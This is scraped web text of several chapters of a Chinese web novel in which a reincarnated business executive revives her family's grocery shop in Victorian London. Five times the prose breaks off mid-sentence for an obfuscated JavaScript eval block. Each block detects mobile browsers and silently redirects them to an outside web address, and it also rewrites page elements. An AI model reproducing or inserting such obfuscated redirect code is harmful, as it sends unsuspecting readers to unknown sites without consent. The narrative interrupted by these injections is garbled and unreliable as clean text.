《十九世纪百货公主》 7. 七便士 简单的午茶后，黛莉坐在柜台后一边等着接待客人，一边将批发商送来的大袋砂糖和大袋面粉分装成小包装。 要用一杆古老的天平秤称重，常用砝码是一磅重，还有八盎司的小砝码，这是半磅。 她用白纸折成纸包，中间再包一层报纸，外面糊一张白纸，用麻绳捆好。 不一会儿，早上订的文具也都送来了，黛莉仔细检查过后，才摆进柜台里。 第一批客人，是在多罗斯街那些餐馆里做菜的厨娘，她们在饭点过后可以休息一会儿。 小杂货店门口悬挂的铜铃铛一响起，黛莉抬头，就瞧见两个穿着酱色棉裙，头上戴着小帽，手上挎着个藤篮子的中年妇人走了进来，一个是麻脸，一个是锥子脸。 她站起身，面带微笑：“需要点什么？今天新进了不少货。” 两个妇人就住在附近，她们都是这里的常客，听人说这小杂货店要关门了，才过来看一看。 没想到，一进门来，就闻见一股淡淡的肥皂香味，似乎整个屋子都被收拾了一遍，收拾的规规整整，比往常还仔细，哪里有要关门的样子。 麻脸妇人闻见气味，想起来自家也没肥皂了。 “我要两块肥皂，八盎司盐，现在面粉多少钱一磅？” 黛莉听了，不慌不忙的在柜台后称盐，也不看进货单就能回答： “面粉是两便士一磅，今天还有新到的玉米粉，三便士两磅...” 这两个妇人都是天天给家里买菜做饭的，对这些生活物品的价格烂熟于心，价格便宜不便宜一听就能知道。 估计她们今天刚发了二十先令的周薪，准备给家里采购足够下一周吃的食物和菜，是算优质的客户。 那麻脸妇人又道：“那我要两磅小麦粉，两磅玉米粉，八盎司黄油，两瓶番茄罐头，两盒火柴。” 黛莉一边耐心地介绍新品，手上也不停，很利落地就把盐打包好了。 麻脸妇人见状，不由挑眉说道：“这纸包扎的真漂亮，不比纸盒差了。” “哎，有糖果和饼干吗？每样就照这样给我装一磅。” 黛莉应了一声，转身从架子里拿出来两个大铁盒，里面是褐色的太妃硬糖球和蜂蜜饼干，是库存货里数量比较多的。 “这样的可以吗？糖果十二便士一磅，饼干六便士，可以先尝尝。” 她隔着纸捏出来试吃的递给她们，又在托盘里铺开一张包装纸，动作漂亮的像是在跳舞，手上功夫也深，在罐子里铲一把，就刚好是一磅重。 尝过之后，锥子脸妇人也要了许多食物，又道：“糖果和饼干给我也这样装一份，省的买纸盒了。” 包装好后，黛莉询问她们是不是要拿去给人送礼，她可以帮忙写个卡片粘上。 她们确实要给刚成家的同事送礼，可并不知道卡片要写什么。 黛莉询问过她们的同事姓名过后，就先写了一张作样子。 两个妇人捧起来念了，不由点头：“真体面，就这样写。” 不一会儿，这两个妇人手里的篮子都被各种商品填装满了，手里还拎着扎好的纸包。 黛莉将柜台上的硬币数了数，总共九十二个便士。 两个妇人进门之前，绝对没想过要花这些钱。 黛莉上辈子最开始刚创业时，什么岗位都兼任过，当然也包括站柜台。 深知一名好柜员，对于销售额的影响非常大。 又招待过两三个零散客人，下午两点后，她家对面的酒馆就开始营业了。 负责铲雪，挂营业牌与煤气灯的是个叫南森的杂工，也是酒馆里唯二的员工。 南森穿着身陈旧的粗花呢套装，头上戴着扁扁的呢绒帽，一双丑陋的旧鞋，挂完招牌，就冒着雪跑过来。 他钻进杂货店里，搓了搓手，熟稔地问黛莉要了一盒便宜火柴。 南森将火柴打开，从口袋里掏出一支没有封口的雪茄，用火柴慢慢烤燃了。 “我听人说，你家打算关门了？纳什太太病好了吗” 这年头的习惯，称一家辈分最大的夫妻为某先生某太太，所以这纳什太太指的是她祖母。 黛莉将最后一袋糖粉分装好，转身码进纸盒里。 “好多了，关门是没有的事，以后都是我来看店。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16396322|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言，南森撇嘴，有些轻蔑的笑了笑。 他知道，黛莉从来都是个文文静静的性格，没沾染纳什太太的半分泼辣，能看的了店？ 况且，酒馆里的醉鬼可多，她一个漂亮姑娘，难道就不怕被骚扰吗？ 虽然她爸爸弗莱德是个彪形大汉。 南森吸了一口烟，又忽然看见桌面上紧紧的纸包，每只的大小都一模一样。 四角方正，像机器做的一样标致。 他夸了两句，又随口问起上午的那几个警察为什么来。 他的眼睛不经意在店里瞟来瞟去。 杂货店的柜台里似乎东西齐全了些，也有人仔细打理了，瓶瓶罐罐排列的十分整齐。 一眼看过去，虽然拥挤，但竟然十分悦目，让人有了购买欲。 他看了半天，没见什么烟酒。 警察的事，黛莉简单的应付两句，并信手拈来的扯谎： “他们是查案的，说是塔桥附近死人了。 我听着，这死者好像跟走私案有关系。 那警察都是苏格兰场的，看来这事儿闹大了。 不过，也有可能是我听错了。” 黛莉的脸上写满困惑，还是以往的文静模样，看着一点不会撒谎。 南森听说是查走私的，有些哑然，脸色微变，匆匆就找借口回去了。 她看着人走了，才抬起下巴，轻慢地扯了扯嘴角。 刚刚南森指间夹的那种雪茄产自菲律宾，名叫吕宋烟。 烟头两端都不封口，不用特意剪开，正是洛比特店里爱进的货。 在多罗斯街吃饭的工人最喜欢这种烟，劲头足，有时候比英格兰产的还廉价。 她摇头，洛比特让人来打探消息，都只愿意送这么便宜的烟，真是抠啊。 黛莉坐在柜台后，面朝着外面，看着巷子飞舞的细雪，略加思索。 实际上，对于开杂货店来说，洛比特杂货店的地理位置极好。 临近密集的餐馆一条街，三餐饭点的人流量都很大。 可惜，这地方就是跟错了主人。 ... 8. 八便士 在原身的记忆中，这个洛比特先生做生意十分吝啬，像是偷称之类的事，屡见不鲜。 偶尔有吃坏东西的客人去他家店里要说法，这洛比特先生也一口咬定东西不是他家的。 所以，他那家店的主顾大多都是流动人群，做一次性买卖。 稳定的客源不比她多。 黛莉想，自家的一点优势也就是熟客多，更要在保证品质的情况下，用她的细节处理来提升顾客的忠实度。 虽然洛比特从未得罪她本人，但这附近的环境，客源有限。 商店想生存，本身就是零和博弈，不进则退。 她拿出柜子里泛黄的旧信纸，又取了红黑两种颜色的墨水，拿出一根羽毛笔，有一搭没一搭的写着什么。 下午，客流量也不算多，只有零星几个人。 客流量少，那么就要靠她的努力来提高客单价。 黛莉打起精神挨个招待完毕，没让一人空手离开，直到听见钟声，傍晚六点了。 此时此刻，玛丽把照顾的几个婴儿分趟送回家去了。 今天她不必硬着头皮看店，就花了一下午的时间，用来清洗一家子堆积的脏衣服，清扫了房间和楼梯。 又烤出来了一锅面包做晚饭。 黛莉将下午赚到的零钱都数清楚塞进柜子里锁起来。 她不仅闻见了厨房里飘出来的面包味，隔壁邻居家里，似乎都在做饭了。 香肠味，培根味，黄油味，这里住着的贫民一天当中只有晚餐最丰盛，这个习惯一直延续了两百年。 屋外，巷子里天色暗了，天空是深蓝的，几个唇上抹了口红，溜着发卷儿的女人踩着雪地，在饭点径直进了对面的酒馆。 黛莉知道，这些女人可怜的很，只能在这样的地方揽客，赚不到几个钱不说，还得用化学药剂洗浴，十分伤身。 但她们从不攒钱，在附近的公寓住着，一周一周的交房租。 平时赚到点钱，全用来喝杜松子酒，买零嘴，化妆品，做衣服，抽烟。 自家柜子里的零食，也大多是卖给了她们。 黛莉看向斜对面那间小裁缝店，那店主也是做这些女人的生意的。 做裁缝的姓海洛特，是个个高的秃头，手艺极好。 他老婆海洛特太太算半个商人，平时向这些女人放贷赊账收利钱。 海洛特太太生了一儿一女，这两个孩子是佩妮的同学。 黛莉瞥见海洛特家的两个小孩背着挎包回了家里。 不一会儿，果然佩妮也回来了。 佩妮出门时穿的是一件绿色长裙，一件呢绒外套，缠了一圈杏黄色披肩，头上戴着有檐的波奈特型花边浆布小帽，脚上踩着一双长靴。 这个时代的女人，无论是宫殿里的夫人，还是贫民窟里的洗衣工，大人或孩子，出行必然穿长裙，裙垫，戴有檐的小帽。 佩妮进了屋，将身上的东西摘下来，凑到柜台来看黛莉打的饼干纸包。 半磅一包，里外两层，麻绳上挂着小小的价签，上面标了日期，重量，口味，价格，最外面那一层纸，还用漂亮的花体写上了“纳什杂货店” 但佩妮更关注味道香浓的饼干，她围了上来，想蹲一些碎渣解馋。 黛莉见状，将饼干抓了一把，将要给她。 佩妮一边高兴的不得了，一边狐疑，但还是伸出双手来接，忽然黛莉又停住了。 “想吃饼干，你得答应帮我做件事。”佩妮睁大眼睛，就知道便宜不会白得。 不过，她思考了一下，还是飞快的点了点头。 黛莉才将手上的饼干交给她，又扭头拿出来一叠泛黄的信纸。 信纸上，头一行字是花体加粗的纳什杂货店。 下面则有两列商品名，又用红色墨水标了价格。 佩妮接过这些信纸，嘟嘟囔囔的念了起来： “肥皂，一便士一块，两便士三块，三便士四块……” 紧接着后面是糖，盐，面粉，饼干，黄油……以及墨水信纸火漆，等等生活必需品的价格和促销活动。 佩妮拿着这些纸条，看的脑子里一头雾水，这有点像是传单。 “明天一早，把这些纸条塞进邻居们的窗缝门缝和信箱里，要好好做，我会检查的。” “要是明天能做好，饼干还有。” 佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16396323|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮明天放假，她郑重的点头，将饼干和一叠信纸全都拿走了。 过了一会儿，纳什先生和弗莱德回来了。 弗莱德.纳什，这是一位长着红头发，一脸络腮胡，四肢发达头脑简单，脾气很好的彪形大汉，今年三十多岁。 他们父子二人轻松的推着一个有筐的板车，在巷子里慢慢前行。 筐子里装着几只几十升的铁壶，一共几百升奶，要挨家挨户的送出去，分给订了奶的客户。 干到晚饭时间就回来，已经算是早了。 他们二人将车子推到门口，将奶罐拎进来，摆在墙边，又把车子卸一卸，放进了本就拥挤的前门边。 到了家，还不能歇着，他们父子钻进厨房里，拿出家里的木桶，上公共压水井去接生活用水了。 弗莱德拎着木桶从厨房出来，抬眼便看见货柜里，似乎重新摆设过了，与早上出门时完全不一样。 角角落落也都擦洗了，东西摆的像印刷出来的一样整齐。 这会儿黛莉还在柜台边上盘今天的小账，认真的很，弗莱德都不敢打扰。 丽莎有个小账本，一直放在柜子里，她以前每天都轧账，这是个好习惯。 黛莉捏着羽毛笔，沾沾墨水继续顺着后面的空白记录。 今天一共有十五个客人登门，只有平时的四分之一，少的可怜。 营业额却高达三百便士，平均客单价为二十便士。 光看营业额，这是过去店铺里客人多生意最好时才有的水平。 这提高，完全因为她今天无比尽心的柜台服务，以及推销话术。 黛莉十分专业的计算过，这店里的销售额利率是百分之二十五。 销售额三百便士，利润大概是七十五个便士。 如果每天都像今天这样，那么一个月的利润就是二千二百便士，也就是净赚九英镑。 比以往生意好的时候还要赚钱。 但是如果她能继续提高销量，增加进货的批发量，那么货物的价格就能进一步压缩，利率还能达到百分之三十。 小商店虽然不起眼，经营好了，也能积攒第一桶金。 ... 9. 九便士 天色愈发漆黑，转眼夜幕降临，家对面的半地下酒馆里透着暖黄色的光线，里面人影憧憧。 不一会儿，汉克和弗莱德打了两桶水回来，玛丽也在厨房里喊大家进去吃饭。 黛莉起身，去将大门锁上，才最后去厨房里。 厨房里挂着一盏煤汽灯，桌子被挪到了中间，四周摆着几只椅子或凳子，拥挤的都转不开身。 这还是在丽莎不能下楼来吃饭的情况下，平时吃饭时厨房只会更拥挤。 不过，黛莉上辈子跟合伙人刚创业时吃过不少苦，如今条件艰苦一些已经不能让她有太大情绪波动了。 她提着裙子挤进了最靠里的座位，刚坐下，玛丽就给她端上了满满的一盘食物，又倒了一杯热奶。 今天的晚餐比较早餐和午餐要丰盛不少。 盘子里有两块黄油面包，几条培根肉，一只煎蛋，还有煎血肠，用番茄罐头焗煮的豆子，土豆泥和卷心菜。 这是无比经典的老伦敦菜色。 黛莉闻了闻，又动餐具尝了点，出乎意料的是，这盘子东西没有她想象的难吃，味道还可以。 弗莱德去楼上送完饭，坐下了，看了两眼，都忍不住说道：“今天这是又过圣诞了吗？” 看来，只要不用看店，有大把的时间可以干活，玛丽还是能做出非常可口的饭菜的。 五口人围着小小的桌子大快朵颐，一小瓶子海盐胡椒粉，被几人递来递去。 饭桌上，祖父率先关心起黛莉今天看店的情况。 黛莉抿唇，手里还在切培根，慢慢的将今天的记录在账本上的东西都口述了出来。 顿时，整个厨房里的人都停下了手里的动作，抬起头茫然的看着她。 玛丽一直在家，知道没什么客人，也就没关注前面的生意。 她可没想到，黛莉这才看店头一天，竟然卖了这么多东西。 来的客人没几个，每人却都买了不少东西，这得多费柜员的嘴皮子。 在座的人都轮流值班了一个月，自然十分清楚。 弗莱德更是想不到，他知道，黛莉性格并不外向，甚至有些内敛，从来没有独自一个人看过店，今天竟然一改往常了。 汉克倒是见识过黛莉进货时的嘴皮子，他也自我解释，认为这或许也是上了学的原因。 总而言之，在座的没一个人知道自己家的姑娘已经被一个零售品牌CEO给穿了。 黛莉对他们的反应有所预料，她低下头继续吃饭，转动眼珠子说道： “我也是想生意好一些，省的祖母天天气不过，闹着要自己干活。 她这个身体，还得再养几个月，要是这期间又伤到，那就难治了。” 大家听了这话，多多少少都有些羞愧的低头，他们值班的时候，生意就没这么好。 可她呢？明明是个文静乖巧的姑娘，为了祖母的身体着想也是拼了！ 不过，看店这事情是需要天赋的，学习起来需要漫长的过程，除非是她这种已经将商业技能点满了的，普通人要上手，至少需要不间断的整月培训。 黛莉看着她铺垫的差不多了，便将想休学专职在家看店的事情提了出来。 厨房里又是一片寂静，这次就连佩妮都咬断了培根，一脸不解。 还有大半年，就能拿到毕业证了，这个时候休学，以后还要再去补半年课，未免有些折腾人。 “没关系，反正该学的我都学了，到时候补一些课程，总比现在店开不下去要好，那我可就没钱拿毕业证了。 有我在家专心的看店，说不定生意还能恢复往常。” 黛莉的话，也十分有道理。 祖父这才点头：“那好吧，明天我带点东西，陪你去学校里找校长女士说一说。 至于你祖母那儿，还得你去劝劝。” 黛莉“嗯”了一声。 饭后，她果断的抱着零钱盒子和账本上楼去，敲开了祖母的卧室门。 一走进去，祖母刚吃完饭漱口了，在准备休息。 黛莉晃了晃钱盒子：“别睡呀，帮我算算账吧。” 她走了过去，将账本递给丽莎，又把钱匣子递过去。 丽莎接过钱匣子，感觉沉甸甸的，眼睛都亮起了光。 她打开账本，上下看了看。 “今天竟然卖了这么多东西！” 丽莎看着这账，越看越惊讶，又询问了一番黛莉过程。 黛莉便一五一十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16396324|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，把她今天做了什么，全都讲述了出来。 包括扎纸包，写便签，写小广告那些事情。 丽莎作为同样经营店铺的人，越听眼神越亮。 她一拍大腿，差点加深骨折，对啊！这些生意就该这么做！自己以前怎么没想到。 可是，黛莉是怎么在这么短的时间内想到这么多的，丽莎又不禁疑惑起来。 黛莉知道，自己现在和原主的性格差别有点明显，但是她已经找到了最好的理由，孝。 于是，她紧紧握着祖母的手。 “我做这些，都只是希望你可以安安心心的养病！ 如果可以，我愿意来专职打理店铺。” 丽莎又愕然了一下，她苍老的脸庞有些呆滞。 似乎从未想过，黛莉愿意为店铺做这么多事情，是为了她的健康。 别看这孩子平时文文静静，什么事都无所谓，但真碰到了事情，她是真扛啊！ 丽莎顿时感动的泣不成声，不过，她顿时反应过来黛莉的意思。 “那你的学业怎么办？”她柔声疑惑。 黛莉又复述一遍，她打算暂时休学，等祖母的病好了再去完成课程，绝对不会耽误未来的前程。 至于真到了那个时候，生意就肯定已经离不开她了，还不是她说什么是什么。 她这辈子并不想做一个办公室打字女秘，然后嫁给丑陋的同事，也并不认为这是好前程。 因为这对赚钱没有任何帮助。 在家庭层次，人际圈子没有随着家族资本提升，到达可以通过婚姻来资源互换，扩大影响力，从而获得更多利益的地步时，她不会考虑个人问题。 同样，眼前的一家人，虽然看起来全都普普通通，但都各有优点，值得培养。 她对原著了如指掌，更了解时代背景。 更知道，眼下的伦敦机会无数。 体系松散，充满腐败，监管也并不严格，甚至在某种程度更利于商业的野蛮生长。 而她，有宝贵的实践经验，除了赚钱什么也不会。 无非就是把上辈子，在千禧年代成功过的路重新在十九世纪再走一遍。 这又有什么难？ … 10. 十便士 第二天黎明时分，六点的钟声还没敲响起来，克拉克街很静谧，昏暗的光线洒进巷子，增添一分幽深意味。 杂货店的窗户，在每天夜晚，弗莱德都会用木板把玻璃封上，避免被对面酒馆里走出来的醉汉砸碎，故而此刻屋里也是黑漆漆的。 为免照顾不到上午的生意，黛莉起的比全家都早。 她套了几件衬裙，棉裙，一件厚实的花呢外套，围了一件深色披肩，将脖子和脸颊盖的严严实实，又带着一顶颜色发旧的短檐毡帽。 洗完了脸，走出来将家门开出一条缝。 外头依旧那么寒冷，横风钻过巷子，割的人脸痛，冻的人鼻子都僵了。 她动动鼻子嗅了嗅，不知道从哪飘来一股异味，放眼在巷子里找了找，才发现是对面酒馆旁边，有好几滩醉鬼的呕吐物。 幸好这不是屎。 昨天是发薪日，他们手头正有钱喝酒。 黛莉摇头，决定每天晚饭点后就提前关门。 这些酒馆里的常客，实在鱼龙混杂，虽然消费力高那么一点，但并不足以牺牲安全性。 能在夜晚继续开门做生意到深夜的，只有伦敦西区贵族聚集区的店主们。 那里有充沛的警力日夜巡视街道的安全，也是平民百姓从来不踏足的地方。 会半夜出来购物的，只有刚刚参加完舞会肚子饿了或手里没烟抽的贵族。 她昨天裁旧报纸包东西时，顺便深入的了解过这个时代的著名商业公司和大宗商品物价。 在报纸的求租刊登栏上，海德公园附近，梅菲尔区的一间普通铺子，月租金价格在几十英镑不等。 是现在店铺房租的十倍。 暂时可以把这定为长远的发展目标。 她走出门去站一会儿，同样早起的祖父也收拾好了。 知道今天要去学校，为了不丢面儿，纳什先生穿上了他箱子里最崭新的粗花呢套装，戴上了高筒帽，还有昨晚提前擦亮的皮鞋，还修剪了络腮胡，打扮的比黛莉还精致。 虽然衣服不是定制，有些不太合身。 将家门重新关上，二人就前往一英里外的斯特普尼女子学校。 这次往北出口走，要经过洛比特杂货店，顺着多罗斯街继续往东北方向步行，大约三四十分钟后就能到了。 黛莉对多罗斯街很好奇，走出巷子口，她的目光从还没开门的洛比特杂货店门口往附近延伸。 黎明时的多罗斯街显然已经开始繁忙了。 天空还是阴阴沉沉的蓝调，街边小店里都挂着煤气灯，窗户里透出暖黄色的光线。 这条街上，有上百家小型店铺，以餐饮店居多。 从凌晨开始，店主和厨娘们就会从各个市场，商店，将批发来的食材搬进后厨再加工成食物。 等到六点的钟声敲响，附近几个贫民街区里的工人苏醒过来，就会不约而同的来到这里。 他们会将最廉价，最方便食用，能快速果腹且有滋味的食物吃掉，再匆匆赶去附近的工厂签到。 这条街上的杂货店还有两家，规模与黛莉家差不多，此刻都还没开门。 纳什先生见黛莉站在街口凝望这一条街的商铺，还以为她在纠结早上吃点什么。 “今天去吃三明治吧，斯诺塔家做的鳕鱼黄瓜三明治，最是美味了。” “不过，安东尼家热狗也非常不错，要是不着急赶路，还能去尝尝罗伯特家的奶油洋葱汤。” 这老头说的这几家店的食材都很新鲜，他每天都去送奶，能进入后厨。 纳什先生也算是一个资深老饕，这条街里似乎就没有他不知道的美味。 黛莉注意到了这一点。 她根据祖父的推荐，选择去对面刚刚开门的三明治店。 黛莉选择了祖父推荐的鳕鱼酸黄瓜三明治，而纳什先生则选择了经典的鸡蛋培根三明治。 各加一便士就能得到一杯拿铁咖啡。 纳什先生付账时，黛莉就在旁边研究这店铺的菜单，根据菜单的数量，可以看出这家店每天的采购量，以及客流量。 像这样的餐饮店，菜单上只有六种选择，但随便一个三明治套餐都不超过五便士。 看起来成本已经压缩到极致了，每天的消耗也能控制的非常精确。 不过，像这样服务底层劳动者的快餐店周围环境太差，口袋里稍微富裕一点的人都不会来。 味道这么好，只可惜不能外带，也没有配送模式。 如果有的话，说不准还能打开一点中产市场。 黛莉在角落找了一个位置坐下，享用热腾腾的三明治，又用只有淡淡苦涩味的拿铁清一清口。 吃完继续赶路，此刻已经六点过了，四十分钟后，就走到了女校所在的波琳朗特街。 女子学校坐落在这条街最显眼的街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16396325|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区教堂一侧。 学校面积不大，占了四五栋联排别墅的位置，红砖围墙把这几栋别墅圈成了独立的庭院。 虽然今天学校放假，但校长女士就居住在学校里其中一幢别墅中，她平常都会在学校居住，偶尔回西区的宅子社交。 黛莉和祖父进了校门，在女仆的带领下，走进其中一栋古老的别墅。 穿过狭窄的走廊，爬几层迷宫般的楼梯，才来到了校长办公室门外等待。 办公室里，校长女士的秘书正在汇报工作。 黛莉知道，这里一个月的学费是两英镑，常规课程只招收年满十三岁的姑娘，三年就能毕业，包分配工作。 晚上的夜校则对二十岁以上，还在工作的女士开放，课程有与小姑娘们有很大区别，三个月为一个学期，不包分配。 全校加起来有二百多名学生，可以选择廉价的八人宿舍，也可以选择走读。 学校每天还提供三顿简单的饮食，面包和培根什么的。 整个学校，每年可以收五六千英镑的学费，还能向各个公司收一些招聘中介费用。 而这所女校的校长安格尼斯女士，是一个贵族旁系。 她年轻时在贵族家庭做教师，继承了祖上的一笔遗产后，在东区创办了这学校，历史已经有二十年了。 黛莉想，这安格尼斯女士之所以可以成功的拥有自己的事业，脱离不开贵族背景，巨额遗产，以及她手上积攒的社会资源。 这学校里上课的小姑娘，大多数与黛莉一样，家里开个小店，稍微比工人赚的多一点，否则也负担不起。 半晌后，校长的秘书才忙完，走出来询问两句，才带黛莉和祖父进去。 别墅很古老，校长办公室也很小，四处铺着厚重的木地板，墙壁上挂着许多油画，书籍更随手塞的到处都是。 校长已经人到中年，看起来保养的非常好，穿着一身浅紫色绸裙，披着牙白的开司米衫，坐在办公室壁炉边看书，一边伸手搅动骨瓷杯子里的上等红茶。 祖父将家里最近发生的情况解释清楚后，安格尼斯女士才把书放下，点头答应了下来，并对纳什先生说道： “实际上，黛莉的学习很优秀，课程掌握的很不错。 如果有需要，我现在就可以写推荐信，介绍一份白教堂邮局的全职工作。 那里最近正好缺一批打字员和柜员。” … 11. 一先令 安格尼斯女士的面容不算姣好，但口音却是纯正的西区味道，低沉磁性，让人必须得安静的听，颇为她增添了两分优雅气质。 纳什先生还在犹豫，黛莉却先一步开口回答。 “这份工作确实非常好，换谁都会愿意做，实在感谢您愿意帮我。 只不过，平常您总教导我们，做任何事情都得富有责任心，现在家里需要帮助，我自然不能坐视不理。 我也相信我能很快帮着渡过这次难关。” 这回答滴水不漏，既恭维又很诚恳，让出入社交场合，经常逢迎的安格尼斯也挑不出问题。 她看向黛莉，原本对这平平无奇的乖乖女印象不深，此刻倒是有点意外，心里疑惑，自己没有观察到她。 “这样也好，实践实践，以后才能知道自己想要什么，你要是还想得到一份工作，可以回来找我。” 安格尼斯脸上露出一点微笑，此刻才开始上下打量黛莉的一举一动，不介意对她做个好人。 她看向一旁的秘书，清清嗓子说道：“把这个月的学费退给她，再给佩尔尼太太说一声。” 秘书点头，立刻带着二人离开校长办公室，前往了隔壁的办公室取钱。 在会计室里等候的时候，黛莉瞥见几个中年女人坐在桌子边算账目。 她们是在整理这一周学校的餐食供应采购账单。 虽然二百多个姑娘们每顿都吃的少，仅仅一人两片吐司和一点培根和一点蔬菜汤，但厨房的采购单数字累积起来也不少。 上一周大约消耗掉了七百磅面粉，五十磅黄油，一千颗鸡蛋，二百磅培根肉，四百颗卷心菜，四百磅胡萝卜，食盐和糖各十磅。 单据上罗列着价格单项，林林总总一共才三四十英镑。 也不知道学校是在哪个批发商进的货，比市场上的货源要便宜不少，在原身印象中，食物质量也还可以。 负责管理学校后勤的佩尔尼太太正拿着一堆单据账目签字，盖上汇款使用的私人印章。 或许是如有神助，一阵风顺着窗缝吹了进来，账单飘的四处都是。 黛莉立刻帮忙捡东西，装作不经意地靠过去瞧了瞧，看清了账单的寄出地址。 萨里郡，米查姆区，浅湖路奥尼斯格农场。 这地方就在伦敦南边，是还没开发的农场聚集区，行政划分属于萨里郡，纳什先生服务的奶牛厂也在这附近。 她默默地记下了一切或许用的上的信息，三两下帮忙收拾了一顿。 半晌后，拿回了这个月的学费，纳什先生和黛莉才离开女校，原路返回家中。 到家时，刚刚八点多，拉克拉街附近的早通勤高峰已经过去了，四周的工厂又开始散发规律的噪音。 黛莉走进巷子口，发现洛比特杂货店也开门了。 洛比特雇佣的小打杂工乔治正在抬水擦地。 那小打杂工骨瘦如柴，穿着一身打补丁的粗花呢外套，拎着沉重的木桶在门口挪动，跪着擦拭阶梯。 这打杂工是洛比特从济贫院里领出来的小孩，从十一岁起就在这杂货店里工作，现在已经三年了。 在原身的印象中，这人能活这么久纯属命大。 又要看店卖东西，又要打扫，还得帮着洛比特太太带孩子，发薪水也是全凭洛比特的心情。 黛莉心里并未产生一分对商人来说过分多余的同情，只是思索着如何利用这件事。 她跟着祖父回到自家中。 清晨的店铺里，窗板和大门都打开了，店里已经有了两个客人。 玛丽今天又多接了一个婴儿带着，此刻一边抱着不适应环境的孩子哄，一边来接待客人。 今天一早，佩妮起床后，早饭都没吃，馋饼干馋的不行，就拿着一叠二百张的小广告跑出去了。 她在巷子里的居民公寓塞完之后，又去了附近的街道，这时候刚刚回家落脚。 等她把小广告发出去，后脚的功夫，就有人拿着广告单找了上来，要买东西。 玛丽昨天听过黛莉的交代，这会儿按照单据上的价格来售卖。 而要售卖的大多数优惠商品，在昨天就被黛莉打包称装好了，只需要整个拿出来结算。 这极大程度的让玛丽不那么手忙脚乱。 黛莉回家后，将帽子和围巾取下来，很快就替了玛丽的活儿，来给这两个客人结账。 眼前的两个客人，都是在克拉克街内开店的邻居。 一个家里是开二手家具店的寡妇，一身黑裙打扮。 另一个是旁边小咖啡馆的老板娘，围着厚厚的围裙。 她们的店与纳什杂货店隔的不远，一开店门就看到了塞进来的小广告，正好早上没什么客人，就过来看一看。 她们二人按照单子上的活动价，采购了不少生活物品。 例如包装好的廉价茶叶，盐和糖，还有肥皂一类的东西。 结完了账，那个开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16396326|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二手家具店的寡妇还不着急走，她手里捏着一块发旧的白丝巾，提着草编袋子靠在柜台边上，柔声询问道： “这纸上的字都是你写的吗？你这字不错，口才也好，能不能帮我写几个价格签？” 黛莉倒是没想到自己还能开发这代写的业务，但她也没拒绝。 都没让这寡妇单独掏钱，便拿了几张硬纸慢慢地写起了价格签。 这寡妇的店铺里的业务很广，小到二手水盆，大到二手床铺，她全都回收，加工一下再出售。 她那里的价格也相当廉价，一个工人一两天的工资，就足够买上一架小木床，所以平常生意颇好。 黛莉一边写，一边请教寡妇哪家批发商的油漆好一点，她要给自家的货柜拾掇拾掇。 寡妇见黛莉跟她讨教，还有些意外，以往黛莉都从来不与她说话的。 于是，寡妇便指教了她一家专门卖油和漆料的批发商。 “这可是我翻新家具的秘方，你可别说出去，跟那老板报我名字，他不会拿假货忽悠你的。” 临走时，那寡妇还一脸娇俏地叮嘱她。 黛莉立刻就意识到，这卖漆的怕不是这寡妇的姘头？ 不过在原身的记忆中，这寡妇姘头不少，附近五金店和木匠店的老板都是。 黛莉心想，这寡妇还怪有事业心，找的姘头，翻新二手家具都能用上。 人刚走，佩妮就从帘子后钻了出来，看着黛莉空闲了，便问她讨要饼干。 